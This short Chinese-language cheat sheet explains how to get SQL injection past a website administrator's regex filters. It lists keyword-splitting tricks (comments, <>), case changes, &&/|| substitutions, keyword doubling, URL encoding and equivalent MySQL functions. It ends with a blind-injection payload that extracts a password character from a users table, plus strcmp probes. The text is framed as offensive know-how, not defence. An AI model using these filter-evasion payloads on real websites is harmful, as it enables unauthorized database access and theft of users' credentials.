在一些网站,管理员会通过一些正则表达式来使过滤一些语句
此时,就要通过一些绕过方法来绕过过滤进行查询。
一、通过注释符绕过
注释符 # //
通过在关键词的中间加入注释符,使关键词不被识别
如 select 改为 se//lect
二、通过<>绕过
如 select 改为 sel<>ect
三、通过改变大小写绕过
四、如果and or被过滤
可以将and 用&& 替换
or 用 || 替换
五、通过重复关键词绕过
六、通过url编码绕过
七、等价函数与命令绕过
函数或变量
hex()、bin() ==> ascii()
sleep() >benchmark()
concat_ws()>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select ‘password’),1,1) = 0x70
strcmp(left(‘password’,1), 0x69) = 1
strcmp(left(‘password’,1), 0x70) = 0
strcmp(left(‘password’,1), 0x71) = -1